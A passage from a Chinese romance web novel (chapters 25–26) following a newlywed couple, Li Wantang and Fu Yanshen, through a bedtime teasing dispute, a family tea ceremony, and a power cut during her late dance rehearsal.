黎晚棠脚步顿住,一抬头,对上男人那张沉浸在夕阳下的侧脸,光线里,他那双被染成橘红色的眼瞳,认真而真诚。 这一瞬,她胸腔里的那颗心猛跳了下,突然有些紊乱。 如果不是清楚傅砚深说话方式一向如此,他这句话依旧像在告白。 毕竟之前,她听过他讲过类似这样话,但她心里也明白,这同样是作为他妻子的优待。 可不知为何,这一次,她心跳竟然会快了一拍。 黎晚棠别过头,抬步继续往前走,步子却比先头快了些。 傅砚深看着女孩走远的背影,微垂下睫,阔步跟了上去。 上车后,黎晚棠系好安全带,偏头靠着椅背闭目养神。 一天的排练,加上睡眠不好,这会儿整个人只觉得特疲惫。 感受到轿车平稳驶出停车场,保安亭大哥热情跟傅砚深打招呼,男人还轻声回应了。 黎晚棠忽而睁眼,盯着男人侧脸看了几秒,冷不丁问了句:“昨晚你睡得好吗?” 傅砚深抽空看她一眼,视线又转向前方:“还行。” 其实不是很好,他第一次抱人睡觉,身旁还是个软软乎乎的女孩,他克制了许久,才让自己呼吸平稳。 前半夜,怀里的人动来动去,他其实也不太好过,但如果他先表现出来不适应,她肯定会退缩。 后半夜倒是安稳了,但女孩的睡姿谈不上老实,完全把他当作人形抱枕,跟个八爪鱼似的贴在他身上。 他在黑暗中多次平缓呼吸,极力克制,最终没克制住,等女孩彻底睡熟,他轻轻把她的手脚拿开,掀开被子下床。 洗了十分钟的冷水澡,那股燥热才得以平息。 像是意料之中的回答,黎晚棠又懒懒靠回椅背,有气无力道:“可我没睡好。” 闻言,傅砚深意味深长地看她一眼,直到前方红绿灯停下,反问:“是吗?” 是吗? 黎晚棠忽而回头,就听到他后面那句。 “比起你的布偶娃娃,我这个人形抱枕,你好像更得心应手。” 第25章 黎晚棠双眸忽睁,因他这句话而震惊地坐直了身子。 得心应手? 这话他是怎么说出口的,她煎熬了大半个夜,困到极致才睡着,怎么就得心应手了。 黎晚棠深吸口气,尽量不让自己发火,心平气和道:“不是,你没搞错吧,你胳膊枕得我脖子到现在还不舒服,请问得心应手这个词是从何而来?” 她特意把“得心应手”几个字咬得很重。 “你想要证据。”傅砚深瞥她一眼。 黎晚棠挑眉,这事不掰开说还不行了:“对,你有证据就拿出来啊。” 她现在不仅觉得脖子不舒服,全身上下都有点不对劲。 现在就想看看,他能拿出什么证据来。 今天如果能把这事推翻,或许晚上,她就不必枕他硬邦邦的手臂了。 “稍等,我现在开车不方便。”傅砚深目视前方,注意力全放在路况上。 “好啊,我等着。”黎晚棠又躺了回去,饶有兴致地不时偏头看他。 可坐等了一路,也不见这人开口,直到抵达目的地,他反倒不慌不忙地熄火停车。 黎晚棠耐心耗尽,等得有些不耐烦,主动问:“说好的证据呢,你不会是想搪塞过去吧?” 说完,她微眯起眼:“又或者,你根本就没有证据。” 傅砚深解开安全带,侧头就听到她这话,沉默了会儿,认真问:“确定看了不后悔?” 黎晚棠对上男人如此镇定的黑眸,顿时心虚起来,可想到她落枕的事实,又强硬道:“非常确定,我有什么好后悔的。” 现在就怕他拿不出有力的证据。 傅砚深目光在女孩脸上看了几秒,随即弯腰拿过放在中控台的手机,修长的指尖轻点几下,直接把屏幕转向她。 黎晚棠还以为是什么照片,急忙伸手拿了过来,点开后,竟然是一段十几秒的视频。 由于灯光昏暗,视频看着有些模糊,但还是依稀能看清背景是他们睡的卧室,而侧躺在床上的那道身影,此刻像是一只成了精的八爪鱼。 对,没看错! 那个手脚并用压在傅砚深身上的八爪鱼,正是她本人! 角度是斜拍的,就算光线昏暗,她紧压住傅砚深的姿势看得贼清楚,沉睡状态下的她,完完全全把人家当作人形抱枕了。 怎么会这样?! 黎晚棠不可思议地盯着视频又看了一遍,她清楚自己睡姿不好,却没想到会这么烂。 明明同床共枕半月有余,他们都相安无事,她更没作出任何过分的举动。 昨晚不过是距离稍稍贴近了些,就暴露本性了。 天菩萨,脸呢! 黎晚棠忙按灭手机屏幕,尴尬地闭了闭眼,瞬间觉得没脸见人,难怪傅砚深会如此严谨地再次问她。 是的,她现在确实是后悔了。 然而就在她后悔的这一瞬,猛然想到什么。 黎晚棠急忙睁眼去看傅砚深,拿着手机,理直气壮地质问:“不对啊!大半夜的,你不睡觉居然还拿手机拍视频,你这是有什么癖好呀?” 如果他这种癖好成立,那她岂不是没有一处是完整的。 就好像大虾被剥掉外壳,一览无余,啥姿势丑态全暴露了。 思及此,黎晚棠快速把手机丢回给他,抬起双腿蜷缩在椅子上,一脸警惕地望着他:“傅砚深,你这种行为,就算我们是合法夫妻,也触犯隐私了啊。” 傅砚深淡然自若地瞥她一眼,而后弯腰捡起手机,指腹擦了擦沾染的细小灰尘,语气平静:“放心,这是第一次。” 第一次? 黎晚棠动了动唇,抱紧的双手微微松开。 那还好,没全爆。 “这事说出来猜到你不会信,索性也睡不着,就顺手拍了一段。” 傅砚深垂眸看了眼腕表,低声提醒:“别让长辈们久等,我们快上去吧。” 黎晚棠见他开门下车,忙松开手脚,拿过手机跟了上去。 进入电梯,她偏头去瞥身旁的男人,欲言又止:“我睡姿差,既然我们都睡得不好,要不还是分开睡吧。” 傅砚深视线从红色箭头上缓缓收回,转移到女孩身上,此刻她低垂着头,脚尖回来蹭着,纤长的眼睫毛微耷拉着,模样显得漫不经心。 “黎晚棠,我们总要熟悉的。” 他们的关系不能一直停滞不前,他们需要熟悉。 同盖一床被子,只是一个开端。 黎晚棠忽而抬头,从男人脸上认真的神情来看,他这句话的含义不仅限于此。 他们需要熟悉的,还有彼此的生活、习惯、性格、爱好,甚至是情感。 滴一声,电梯在此时打开。 黎晚棠猛然回神,余光瞧见傅砚深抵在电梯门上的手,眼珠子来回转了下,快速抬脚走出。 男人平稳地脚步声跟在她身后,不徐不疾,始终没越过她。 有侍者上前,询问他们包房号,傅砚深报出后,侍者抬手引领,把他们带到门口。 黎晚棠停下脚步,偏头看了眼跟上来的男人,等两人并排站好,这才推开包房门。 热闹非凡的笑声传出,有长辈看到他们,笑呵呵招手:“呀,这小两口到了,快进来。” 黎晚棠嘴角笑意扬起,笑盈盈地走上前,乖巧打招呼:“傅奶奶,傅叔——” “欸,棠棠,今天你这称呼不对啊。” 傅奶奶及时打断她的话,笑道:“我们两家这次见面,你跟砚深已经领证了,所以称呼这事得改。” 要夫妻俩改口的事,大家一致认同,现在有傅老太太打前阵,其他人当然不能落下。 宋徽音也笑着附和:“是呀棠棠,婚礼跟酒席虽然要明年才举行,但改口可以提前,毕竟都是一家人了,还叫叔叔阿姨的,不合适。” “……” 黎晚棠万万没想到今日这顿是鸿门宴,吃的还是改口饭。 可是,这事怎么没人提前跟她说啊? 她下意识去看身旁的傅砚深,两人视线对上,他也茫然摇头。 好吧,看来他们当事人都不知情。 沈听荷与宋徽音笑着对视一眼,前者先开口:“砚深,要不就你先开始吧。” 说着,沈听荷侧身拿出早已准备的红包,眉开眼笑地看着他:“既然要改口,那我们还是正式一点。” 傅砚深看了眼红艳艳的烫金红包,沉默了会儿,步伐沉稳地走到餐桌前倒了一杯茶水,随即转身,俯身朝沈听荷微微鞠躬:“妈,请喝茶。” 黎晚棠听到喊这声“妈”,睁得眼睛溜圆。 傅砚深怎么可以如此顺嘴,难道他私下练习过? 然而听到这个称呼的沈听荷,笑得是合不拢嘴:“欸,好女婿。” 红包和茶杯互换,一人端茶,一人接红包,改口礼成。 同样方式,傅砚深又重新倒了杯茶,转到黎智海面前:“爸,请喝茶。” 本以为黎智海会笑着接过,不承想,他先是抬手擦了擦湿润的眼角,眼眶都红了。 傅砚深这声爸叫出口,就意味着他女儿彻底要嫁人了,再也不是黏在他身边的小棉袄。 这一刻,他竟莫名涌出股伤感。 沈听荷见状,嘴角笑容微收,忙用胳膊去推身旁的男人:“好好的,你这是演哪出戏。” 黎智海也察觉自己失态,胡乱擦了下眼角,急忙接过茶杯:“不好意思,太感性了,一时没控制住。” 原本抿住唇的黎晚棠,见她爸这副模样,没忍住乐了。 其他人见状也纷纷笑了起来。 京北这边就只有她爸妈,傅砚深敬完茶,轮到愣着没动的黎晚棠。 见大家目光都落在自己身上,黎晚棠收敛笑意,本能地瞥了眼傅砚深,而后学着他那般倒茶。 端着茶杯走到傅奶奶面前,只需要少说一个傅字,倒也不是很难:“奶奶,请喝茶。” 傅老太太笑得眼睛都眯了起来:“孙媳妇,以后砚深要惹你不高兴了,随时过来找奶奶,奶奶站你这头。” 黎晚棠弯唇:“好的奶奶。” 下杯茶轮到宋徽音,面对喊了十几年的宋阿姨,黎晚棠端着手里的茶杯,久久喊不出口。 总觉得那声妈咬嘴。 也是在这个时候,她不得不佩服起傅砚深的淡定,他是怎么做到面不改色,嘴还如此顺溜的。 “棠棠,其实我从小就把你当作女儿看待,在我心里,你跟望舒一样重要。” 宋徽音弯唇笑了笑,轻声引导:“所以,你别把我当成婆婆,当成你亲妈就行。” 听到这话,沈听荷挑眉及时出声,语气中带着玩笑:“徽音,我女儿已经被你儿子娶走了,现在连我这个亲妈的身份你也要夺走,过分了啊。” 众人闻言,纷纷低头轻笑。 黎晚棠在这样的氛围里,也顺理成章叫出那句极为拗口的爸妈。 改口成功,两家人这顿饭吃得其乐融融。 饭席过半,服务员端来炖好的甜汤,宋徽音知道黎晚棠喜好吃甜食,率先帮她盛了一碗:“棠棠,你尝尝看,这是我特意要厨房加的一道甜汤。” 听到有甜汤,黎晚棠高兴地接了过来,只是当她拿起汤勺准备开吃时,余光忽而瞧见,偏头盯着她看的男人。 迟疑片刻,她将汤勺放回碗中,把甜汤推到傅砚深面前:“……你也尝尝。” 他吃了,应该就不会说她了吧。 宋徽音不知傅砚深平时管黎晚棠吃甜食的事,见小两口这般相处,眉眼间都藏着笑:“棠棠,砚深平时不吃甜食,你自己吃吧,不用管他。” 黎晚棠微怔,下意识去看傅砚深,此时他也低头看来,两人目光对上。 所以。 是他自己不喜欢吃甜食,才不允许她吃! 那他打着为她健康着想的旗号,全是些冠冕堂皇的借口。 傅砚深没看懂黎晚棠这个眼神的含义,以为她是想在父母面前表现,特意扮演恩爱。 但他平时确实不吃这些,沉默了会儿,又把甜汤推回她面前:“吃吧,不够还有。” “……” 黎晚棠错愕地盯着他,见他是真心实意让自己吃,慢半拍地扯了扯唇角:“哦,好。” 话落,她顾不上客气,拿起汤勺吃了起来。 带着淡淡清香味的银耳莲子百合羹,入口即化,是她喜欢的味道。 她喜欢既有香味又有甜的食物。 饭席快要结束时,黎晚棠因喝了太多甜汤,这会儿只想上洗手间。 她扫了眼聊天的长辈,侧眸去看傅砚深,低声说了句,便起身走出包房。 洗手间离他们包房有点远,黎晚棠小跑着进了隔间,等出来洗手,恰好碰到刚进来的宋徽音。 看见黎晚棠,她先笑道:“棠棠,原来你是来洗手间啊,早知道我就跟你一起。” 黎晚棠弯唇,到了嘴边的宋阿姨又咽了下去,改口道:“嗯,妈,那我等你一起回包房。” “好呀,我很快。” 宋徽音因她喊的这句“妈”,脸上露出灿烂的笑容,快步走了进去。 黎晚棠抽出纸巾擦干手指,转身到门口去等。 没过多久,宋徽音笑盈盈地走了出来:“棠棠,刚刚甜汤是不是没喝够?” 黎晚棠表情微愣,随即扯唇:“没有,喝两碗够了。” 如果不是碍于傅砚深坐她旁边,她还能喝一碗。 但这话她不好当着人家母亲的面说。 “我知道。”宋徽音挽上她的胳膊,轻笑了声:“你是怕砚深回去说你,才不敢多喝。” 黎晚棠错愕抬眉,心想,还是母亲了解自己儿子。 在细节上看得清楚。 “可能你会疑惑,砚深为什么如此抗拒吃甜食。” 提起这事,宋徽音嘴角笑意微敛,语气里带着无奈:“他其实不只是抗拒,就连看到甜的东西,身体会本能地出现应激反应。” “啊?” 黎晚棠惊诧地偏头,眉头微微皱起:“他这样是有什么原因吗?” 宋徽音轻叹了口气:“是因为他爷爷,他爷爷过世是糖尿病,而且你爸,也有轻微的家族遗传史。” 黎晚棠惊诧地眨了眨眼,她知道这个爸,指的是傅砚深的父亲。 原来傅家有家族遗传的糖尿病史,所以傅砚深才会如此抗拒吃甜食。 就算连她吃,也会严厉制止。 宋徽音见黎晚棠沉默不语,忙开口解释:“不过你别担心,砚深每年的体检报告都很正常,并没有发现血糖偏高的情况。” 黎晚棠回神,察觉宋徽音应该是误会了,笑着摇头:“妈,我没这么想。”- 饭局结束,两人把双方长辈送上车,见他们平安驶出停车场,这才返回车里。 系好安全带,黎晚棠没忍住偏头,目光直愣愣盯着此刻认真开车的男人。 车速平稳行驶,两旁路灯快速从车窗闪过,前方光影勾勒出他深邃立体的侧脸轮廓。 他目视前方时,脖颈线条流畅,喉结凸出明显,在朦胧夜色下,剪影很漂亮。 原来傅砚深不是嘴上说说而已,是真担心,她吃甜食会影响健康。 平时他对自己的那些管束,也只是站在她的角度,为她考虑,并非他控制欲强。 多年没见,她对现在的傅砚深确实不了解。 察觉女孩目光一直落在他脸上,到前方十字路口停下后,他偏头询问:“是我脸上有东西?” “……” 黎晚棠猛然收回视线,垂下头,故作淡定地去整理衣摆:“没,就突然发现你下巴处有颗痣。” 其实她之前就发现了,那颗痣淡淡的不是很明显,唯有仔细看才能发现。 这会儿从她这个角度看,还蛮有男人味,俗称性感。 察觉思想开始跑歪,她急忙刹住车。 “嗯,很久了。”傅砚深淡淡瞥她一眼,目光又看向前方。 黎晚棠茫然眨眼,很久了吗,他跟她补课那会儿,好像没看见似的。 也有可能,她那时候的注意力没在他身上。 之后两人都没再说话,到家后,黎晚棠准备去拿泡脚桶时,沙发上的手机却在这时候响了起来。 看到是林编导的电话,黎晚棠疑惑地皱了下眉,忙接通:“喂,林编导。” 林编导笑道:“晚棠,这么晚了没打扰到你吧。” “没有没有,我刚从外面吃饭回来。”黎晚棠拿着手机,来到客厅外的露台上:“林编导找我有事?” “没打扰就好,是这样的,我们下午改编的那段音节,我觉得云间转腰的动作还可以延长几个节拍,让这个动作变得更细腻。” 林编导怕自己表达不清楚,特意上网找来了视频:“我这里有参照的舞蹈视频,你现在方便接收吗,我发你邮箱。” 黎晚棠跟林编导接触过几次,在舞蹈的创新上,她也是比较认真和执着的人,都下班还在想舞蹈元素,实属敬业。 人家都如此积极,她更不可能懈怠。 “方便的,我现在就把邮箱发您。” 黎晚棠挂断电话,立马就把邮箱发送林编导,只是刚发送成功,她猛然想起,她的电脑并没带过来。 转身要回房的动作顿住,她余光瞥见亮灯的书房,迟疑片刻,抬脚走了过去。 顺着从门缝透出的光线,她微微偏头,看到傅砚深正坐在办公桌前,低头翻阅文件。 黎晚棠揉了揉眉心,最后敲响书房门:“忙吗?” 傅砚深放下文件,抬眸望去:“不忙,有事?” “哦,那我进来了。” 黎晚棠推开书房门,轻手轻脚来到他桌前,弯唇笑道:“我能用一下你电脑吗?” 电脑这种设备私密的东西还蛮多的,何况是傅砚深的电脑,里面肯定有很多保密文件。 如果不是事情紧急,她也不想敲响这扇门。 “嗯,可以。” 傅砚深合上文件,整齐放入文件夹,起身把位置让那个给她:“你随意。” 黎晚棠没想到这人一点都没犹豫,还主动起身把位置让给他,她嘴角笑意浓了几分:“谢谢啊,我很快的。” 电脑是打开的,只是长时间没用,显示待机模式。 黎晚棠敲击空白键,长方形的白色秘密框弹了出来。 见傅砚深转身要出门,她忙开口喊道:“对了,你电脑锁上了,秘密是多少?” 傅砚深没多想,随口报出:“1020。” 黎晚棠敲下第一个数字,指尖忽然顿住,她微微皱眉,总感觉这串数字有些熟悉,又在心里默念了遍,猛然睁眼。 她缓慢偏头,讪讪扯唇:“好巧哦,你电脑密码,竟然跟我生日一样。” 她生日是十月二十号,这串数字刚好就是他的开机密码。 闻言,傅砚深眼睫很轻地颤了颤,一回头,就对上女孩脸上的茫然。 晦暗不明的眸子与她对视了几秒,再开口时,声音是一如既往地平静:“因为好记。” 当年看到她身份证的第一眼,他就记住了。 第26章 好记? 黎晚棠微诧过后,拧眉仔细想了想,这串数字确实蛮顺口的。 所以只是巧合? 黎晚棠也没深究这个问题,弯了弯唇:“是挺好记的。” 说着,她低头在键盘上敲击完这几个数字,电脑锁屏顿时打开。 干净整洁的电脑桌面显示在眼前,她眼眸微睁了睁,严重怀疑傅砚深把电脑买来后,就没设定过屏幕封面。 现在依旧是出厂设置的深蓝色。 黎晚棠不动声色挑了下眉,没多说什么,点开邮箱接收视频。 察觉傅砚深已经走出书房,独立的空间只剩下她自己。 黎晚棠看了一遍后,又重新播放,随后拉开椅子站起身,跟着视频动作练了起来。 看来团长要林编导过来帮她,是有原因的,一个简单的动作,她能看出很多延伸的舞动元素。 黎晚棠也觉得不错,低头给林编导快速回了条信息,说明天去舞团她们再细聊。 她快速把这段视频保存,滑动鼠标退出邮箱,页面重新跳回电脑桌面。 这期间,她没碰傅砚深的任何文件。 等从书房出来,她转身来到客厅,偏头在露台外发现了傅砚深的身影:“我已经用好了,你继续去工作吧。” 傅砚深闻声回头,接着转身走了过来:“泡脚的水已经帮你放了,过去试试,这会儿水温应该刚刚好。” “啊,你都放好了。” 黎晚棠拿着手机往客厅沙发走了两步,低头发现,她原本放泡脚桶的位置上并没有,而是转放在落地窗前的躺椅前。 这个位置明显比坐在沙发上更舒服,整个人还可以悠闲地躺下去,外观看着跟理疗室的泡脚躺椅差不多,只是这个质地看起来更高档些。 刚搬过来的那晚她就发现了这个躺椅,以为这是傅砚深的专属位置,她没好意思鸠占鹊巢。 所以每次泡脚都坐沙发上。 如今,傅砚深直接用行动告诉她,这个位置她可以使用。 黎晚棠舔了舔唇,缓缓走了过去:“谢谢。” 不仅是谢谢他帮她放好泡脚水,还有这个位置。 “泡完脚就回卧室,水不用管。”傅砚深见女孩迫不及待躺下,还极其惬意地闭上眼,转身时,嘴角很浅地扯了下。 “哦,好。” 黎晚棠以为傅砚深是要她泡完脚回房睡觉,直到看到床上摆放的那些药膏,才恍然明白,这人是打算帮她膝盖擦药。 她迟疑走上前,低头询问:“怎么会有这些药?” “这次出差的时候顺便带回来的,合作方刚好做的药业,这几种药膏的功效,可以针对你膝盖下雨时泛起的刺痛,也能很好地缓解神经疼。” 傅砚深边说,边打开其中一盒药膏:“试试看,如果有效果,我让他们多寄几盒过来。” 没瞧见人过来,傅砚深缓缓抬头,就见女孩直愣愣地望着自己,欲言又止的模样,似乎有什么话要说。 他眉头微皱了下:“怎么,这些药不合适?” 黎晚棠摇头:“没有,就挺意外,你会帮我带药。” 不知为何,他这番送药的举动,让她一下子想到罗恩送她膏药的情形。 记得当时,白露晞还调侃她说,罗恩肯定不是随便看到的,很可能是特意去买的。 如果罗恩真是特意去买的药膏,那傅砚深呢? 他也是特意,还是碰巧对方公司做药业,恰好这几款产品能针对她膝盖的旧伤。 “过来,我帮你膝盖擦药。” 男人低沉的声音将她思绪拉回,黎晚棠快步上前,客套道:“不用你,我自己来就行。” 傅砚深抬眸反问:“是我上次擦得不舒服?” 冷不丁听到这三个字,不由得让人多想。 特别是不知情的人。 但她是知情人,若真要别扭下去,还真以为这话不健康了。 黎晚棠扯唇:“当然舒服,不是怕麻烦你嘛。” 话落,她人已经朝床中央躺了下去,丝毫不客气地把双**给了他。 傅砚深低头看了眼躺下的女孩,眉眼间露出淡淡柔光,他打开药盒将指尖沾上药膏,而后用掌心轻轻揉热。 一回生二回熟,或许今晚两人都比较放松,黎晚棠舒服地闭上眼,差点没睡过去。 还是傅砚深提醒她去洗澡,黎晚棠才睡眼惺忪地爬起来。 洗完澡出来,傅砚深已经靠在床头,翻看起财经杂志。 可能是从未见过他这样的一幕,黎晚棠脚步忽停,静静望着床上的人有些失神。 柔光下,男人穿着深灰色睡衣,高挺的鼻梁上依旧戴着那副金边眼镜,刚吹干的头发蓬松又柔软,不像平日那样利落精致,有几缕碎发从额前垂落,莫名添了几分随意感的少年气息。 咋一看,这样的画面猛然将她拉回到五年前。 有次她跑去找傅望舒玩,刚进傅家客厅,就看见从二楼下来的傅砚深,当时他手里也是拿着一本书,边下楼,边翻看书页。 少年身形修长,举手投足间尽显优雅,那日阳光正好,暖融融的光线透过窗户洒入,斑驳地洒在他清秀的脸庞上。 当时,黎晚棠没想到傅砚深也在家,明明傅望舒说他出门了,她才过来的,这会儿直面碰上,也不能假装视而不见。 她轻扯唇角,正酝酿着该说句什么话时,少年突然抬头,看到是她,依旧没什么表情地开口:“找望舒?她在房间。” 黎晚棠如释重负,快步掠过他,低头往二楼跑:“哦,谢谢。” 等跑进傅望舒的房间,她反手忙把门关上。 傅望舒听到声音回头,看到是黎晚棠,起身快步走了过来,偏头看了眼她身后,疑惑问:“晚棠姐,你跑什么呢?” 黎晚棠抬手去敲她额头:“不是说你哥不在家吗,我在楼下都碰上了。” “啊,我哥还没走呀。”傅望舒无辜地揉了揉额头:“我是亲耳听到他说要出去的。” “算了,下次你去我家。” 黎晚棠拉着她往里走,忽然想到什么,眉梢微微挑了挑:“不过,你哥刚才下楼的样子,抛开偏见,确实还有点帅。” 傅望舒仿佛听到什么恐怖故事,脸色骤变:“晚棠姐,求你别夸我哥了,不然我会觉得很惊悚。” 黎晚棠诧异了下,失笑问:“为什么?” “就是因为我哥那张脸,再配上他那种死板沉闷的性格,你不觉得有点像沉默寡言的杀手,冷峻与儒家美学的怪才吗?” 黎晚棠试着想了想,没忍住笑了。 时隔多年,她再次回想,还是会忍不住笑出声。 正低头翻看杂志的傅砚深,听到浴室门口传来的轻笑声,缓缓抬头。 黎晚棠忽然对上男人看过来的目光,嘴角笑意忽敛,若无其事地走了过去。 她随口问:“你洗好澡了?” “嗯。”傅砚深见她掀开被子上床后,也抬手取下眼镜,和杂志一同放在床头柜。 见人已经躺好,伸手关灯。 黎晚棠侧身想去摸床上的布拉拉,回头时,突然感觉脖颈下多出一只胳膊,她愣了下,垂眸缓缓躺下,不偏不倚枕在他手臂上。 关着灯,那种不适和尴尬虽然减轻不少。 但她依旧不敢怎么放松,特别男人体温烘烤着她,两人贴在一起的皮肤感觉要被融化。 黎晚棠整个人蜷缩着身子不敢乱动,闭眼默默去念心经。 网上说念这个能净心。 十几分钟后,黎晚棠暗暗叹了气,心想这说法纯属扯淡,不仅静不下来,反而越念越浮躁。 细听身旁的男人呼吸平稳,看样子应该是睡着了,黎晚棠适当地侧了侧身,见人没有反应,刚要将他手臂挪开,另一只大手忽然勾住她的腰:“去哪?” 男人低哑的声音在她耳边响起,微微呼吸的热气从她颈侧划过,带着酥酥麻麻的痒意。 黎晚棠无意识地咽了咽喉,不自在地偏过头:“……就想翻个身。” “嗯,那转过来吧。” 傅砚深说着,扣住她腰间的手稍稍用力,下一秒,黎晚棠整个人被【踏雪独家】他扣进怀里:“以后不用等睡着了才抱,既然我已经成了你的人形抱枕,你想用就用。” “……” 黎晚棠忙不迭从他怀里抬头,微睁的眸子不可思议道:“我、我又没有这个意思。” 她是想逃离,不是想靠近,他这话说得,好像她有多想抱他似的。 傅砚深挑眉反问:“难道你不想抱?” “谁想——” 男人怀里的温度,以及压着的舒适感让她忽然语塞,片刻,她又讪讪改口:“是,没错,我就是想抱着你睡。” 说着,她手脚并用,全压在男人身上。 啥话都被他说完了,她要不做出点实际行动,都对不起他污蔑她的那番话。 现在大大方方的抱着,那股不自在反而消失不见。 反观男人身体的微僵,以及半天说不出话的样子,黎晚棠无声勾唇,脑袋故意往他胸膛蹭了蹭:“别动啊,就这样睡才舒服。” 说不动,傅砚深还就真不动了,她得意的嘴角在黑暗中无限扩大。 觉得自己扳回一局,占了上风。 心情好,困意很快就席卷而来,黎晚棠打了个哈欠,不一会儿就沉睡过去。 傅砚深垂头看了眼,无声叹气,是他主动把人搂进怀里的,再难受,也得忍着- 每日的晨练必不可少,只是今天起床,她发现一向觉轻的傅砚深并未察觉,反而睡得特沉。 她来到客厅好一会儿,他才从卧室走出来。 瞧他脸色不太好,眼睑下还有层淡淡的乌青。 黎晚棠捧着水杯默默地收回视线,没拆穿他是昨夜被她手脚压着,压根没睡好。 她转身进入舞蹈房时,无声地笑了下。 九点来到舞蹈团,上午依旧是大排练。 中午吃完饭,黎晚棠没睡午觉,休息了十几分钟,就跑去了排练厅。 闭眼跟着音乐节奏,让自己融入昨晚那段视频舞蹈动作,心里按照林编导说的,云间旋转的舞步拉长了几个音拍,将这个动作放轻放柔。 温若棠原本是要回排练厅拿遗落的水杯,却不经意看到黎晚棠正在跳比赛那支舞。 她站在门口看了好一会儿,嫉妒地攥起了拳头。 虽然她很不想承认,但黎晚棠身体的柔软度真的比她好,也确实很合适跳身韵,舞蹈动作编排也很有创意。 “若棠,还没回去休息吗?” 林编导走近看到是她,笑问:“在看晚棠排练呢。” 温若棠忽而转身,看到是林编导,攥紧地拳头急忙松开:“是呀,回来拿东西,恰好看到她在排练。” 她偏头看了眼停下来的黎晚棠,弯唇道:“我现在要回去休息了,你们忙。” 说着,她迈着小碎步离开。 黎晚棠听见门口传来对话声,微微偏头,看到是林编导和温若棠在聊天,脚步停了下来。 她笑着上前:“林编导,你怎么过来了?” “知道你是个急性子,脑子里有东西一刻也等不了。”林编导低头笑了笑,又道:“我也是。” 黎晚棠被她这话逗笑,之后两人没聊别的,直接进入主题。 舞蹈动作优化得越来越成熟,黎晚棠付出的时间和努力就更多,为了熟练动作和节拍,她在舞团排练九点才回家。 或许是运动量太大,回家泡完脚,她倒头就睡,不用傅砚深提醒,很自觉枕上他手臂,犹如一只八爪鱼压着他。 睡得又熟又香。 接下来这几天依旧跟之前一样,林编导走后,她继续在排练厅练习,团里没有演出,很多同事都不需要加班,正常下班了。 所以整个舞蹈团,也就只有她这间排练厅亮着灯。 黎晚棠跟着音乐节拍一遍遍练习,全身心投入在舞蹈里,并未发现外面已经下起了暴雨,仿佛所有声音都被音乐声覆盖。 然而就在这时,音乐声忽停,接着头顶灯光熄灭,整个排练厅陷入黑暗之中。 黎晚棠动作蓦地顿了下来,无限的恐慌和黑暗将她淹没,她惊慌地扭头四处看了看,下一秒,猛然蹲下身,紧紧抱住双腿。 耳边是毫无节奏拍打在窗户上的水滴声,一下又一下,仿佛像有人用指尖在疯狂敲击。 黎晚棠害怕地闭上眼,此时背皮都麻了。 这样的情形瞬间将她拉回到小时候,同样的环境,室内也是漆黑一片,屋外冷风飕飕,各种声音在耳边环绕,她分辨不出是人还是动物,或者又是别的东西。 抱住膝盖的双手越来越紧,黎晚棠像被施了定身术,动弹不了。 她只能尽量把身体蜷缩起来,守住那点仅有的安全感。 心里默默盼望着,快点有灯亮起。 这种无声的煎熬不知过了多久,她从紧闭地双眼中,似乎感受到了一丝丝亮光。 紧接着,一道低沉且带着几分急切的声音响了起来:“黎晚棠,是你吗?” 黎晚棠眼珠子迟缓地动了动,识别出这道声音的主人,她忽而睁开眼,一抹微弱的灯光照亮她眼前的视线。 她一点点松开膝盖上的手,慢半拍地偏过头,一眼就看到站在门口的男人。 没听错,这道声音的主人就是傅砚深。 黎晚棠笑了笑,无力地瘫坐在地板上,紧绷地那颗心瞬间得到缓解:“嗯,是我。” 傅砚深紧皱的眉头松懈下来,拿着手机快步走了进去,当灯光从女孩头顶落下,他这才能看清黎晚棠额头冒出的细密汗珠。 脸色也有些惨白。 从她瘫坐在地上的情况分析,应该是被突如其来地停电吓到了。 傅砚深将手中灯光高高举起,照射的面积顿时变大:“是线路出现问题了吗?” 他一路过来摸黑走来,中途没找到一丝光源,如果不是保安亭的工作人员,信誓旦旦说黎晚棠还没出来,他恐怕不会一间间的去寻找。 好在他没放弃,走到最后这间排练厅,一眼看到蹲在地上的模糊身影。 小小的一团,在黑暗中看起来很无助。 “我也不知道,刚才跳着跳着就突然没电了。” 黎晚棠回答完这话,才后知后觉反应过来,傅砚深为何出现在这:“你怎么会在这里?” “下暴雨了,怕你没带伞,就顺便过来接你。” 从黎晚棠加班后,傅砚深也开始在公司加班,之前是因为她搬过来,所以才会提前回去。 今晚是萧仲提醒他,外面下大暴雨,特意给他留了把伞。 他偏头看向窗外,颗粒大的雨珠拍打着窗户,外面雾色朦胧,此刻他脑中想到的是黎晚棠。 没过多犹豫,傅砚深关掉电脑起身,拿着那把伞出了办公室。 “哦,原来是下雨了。” 黎晚棠稍稍偏头,就算透过窗户,也看不到外面的景象,却明白了之前听到的声音,原来真是下雨声。 “手机你拿着,我出去看看电表箱。” 傅砚深把手机递给黎晚棠,却见她没接,反而急匆匆站了起来,表情有些慌张地看着他:“我跟你一起去行吗?” 她不想一个人留在这里,就算有手机电筒光,那种窒息的恐惧感依旧存在。 傅砚深黑眸暗了暗,似乎明白什么,点头:“好,跟紧我。” 他拿着手机转身,可还没迈步,手腕就被女孩紧紧抓住:“我…还是牵着你吧,这样不怕丢。” 傅砚深要她跟紧他,不就是怕自己走丢吗。 毕竟这会儿乌漆麻黑的,啥也看不见。 傅砚深垂眸看了眼自己胳膊上的那截纤细指尖,他身形僵了一瞬,很快又回归正常。 他没说话,只是带着她慢慢往外走。 “电表箱在安全通道。”黎晚棠出声提醒。 “嗯,知道。” 黎晚棠诧异看他:“你又没来过,怎么会知道?” 两人说话间已经来到走廊,手机微弱的灯光,反倒让偌大的排练厅变得阴森森的。 黎晚棠微缩着脖颈,脚步加快的同时,抓住傅砚深的手也微微收紧。 “基本常识,没来过也能知道。”傅砚深平铺直叙地开口,垂眸察觉女孩的害怕,脚步不自觉地放缓几分。 “哦,那你懂的常识还挺多。”黎晚棠眼珠子东张西望,注意力根本不在这句话上,所以回答时,没动脑子就说了。 顺着走廊来到楼梯间,傅砚深拉开安全门,果然在白墙上看到电表箱,他侧身把手机递给她:“你拿着,我打开看看。” “哦,好。”黎晚棠忙抬手接过,对着他移动的方向照明。 打开电表箱,这才发现不是线路问题,而是跳闸了。 傅砚深将所有闸门往上按,整个楼道及走廊的灯光瞬间亮了起来。 他偏头去看她,低声解释:“应该是跳闸所致。” 黎晚棠看了眼外壳很旧的电表箱,疑惑道:“刚才见你掰上去挺用力的,怎么会那么容易跳闸。” 傅砚深听出她话里的怀疑,拧眉问:“以前出现过这种情况吗?” 